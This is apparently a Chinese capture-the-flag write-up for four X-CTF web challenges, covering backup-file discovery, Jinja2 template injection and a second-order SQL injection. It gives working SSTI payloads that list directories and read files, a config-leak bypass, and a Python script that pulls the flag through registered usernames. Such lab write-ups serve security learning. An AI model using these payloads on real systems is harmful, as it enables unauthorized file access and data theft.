X-CTF WEB 题目解题思路
1.backup
php备份文件格式.php~
、.php.bak
。
2.Web_python_template_injection
检测是否存在注入。
/{{2*2}}
发现2*2被计算为了4,说明存在注入。
尝试枚举当前目录下的文件。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
再读取文件
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
3.shrine
题目给出了部分代码,整理如下:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
大概意思是题目将flag放在了app.config['FLAG']
中,同时对/shrine/
下的请求参数做了过滤。将(
和)
替换为空。也将config和self对应变量设为了None。
有以下两种wp:
1
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
2
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
get_flashed_messages()和url_for()是flask框架中的函数。
get_flashed_messages()作用如下:
- 设置:flash(‘aaa’)
- 取值:get_flashed_message()
- 假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息
url_for()作用如下:
- 给指定的函数构造 URL。
- 访问静态文件(CSS / JavaScript 等)。
4.unfinish
首先看到的是一个登录界面,猜测有注册界面。
扫描目录后,发现确实有注册界面。
尝试注册用户并登录,发现登录后会把用户名显示出来,没有其他特别的内容。
对注册时的三个参数进行特殊字符和关键字测试,发现用户名有些异常响应。
猜测用户名处存在注入,且可能为二次注入。
经测试,大概过滤了,
和information
。
可得到数据库名为web
,但表名无法得到。查看参考答案后得知表名全靠猜。
最终的注入程序如下:
import requests
baseURL = "http://124.126.19.106:53212/"
fObj = open("/root/Desktop/unfinish.txt","r")
regCount = int(fObj.read())
fObj.close()
try:
for i in range(50):
payload = "0'+ascii(substr((select * from flag) from "+ str(i+1) +" for 1))+'0"
# 注册用户名
regCount += 1
parma = {"email":"test" + str(regCount) + "@qq.com", "username":payload, "password":"1111"}
register = requests.post(baseURL+"register.php", data=parma)
# 登录
parma = {"email":"test" + str(regCount) + "@qq.com", "password":"1111"}
login = requests.post(baseURL+"login.php", data=parma)
# print(login.text)
username = login.text.split("<span class=\"user-name\">")[1].split("</span>")[0].strip()
if username == '0':
break
print(chr(int(username)), end='')
print()
finally:
fObj = open("/root/Desktop/unfinish.txt","w")
fObj.write(str(regCount))
fObj.close()
unfinish.txt用来计数注册了多少个用户,因为该题目用户一旦注册,用户名就不能改变了,所以每次注册必须使用新邮箱。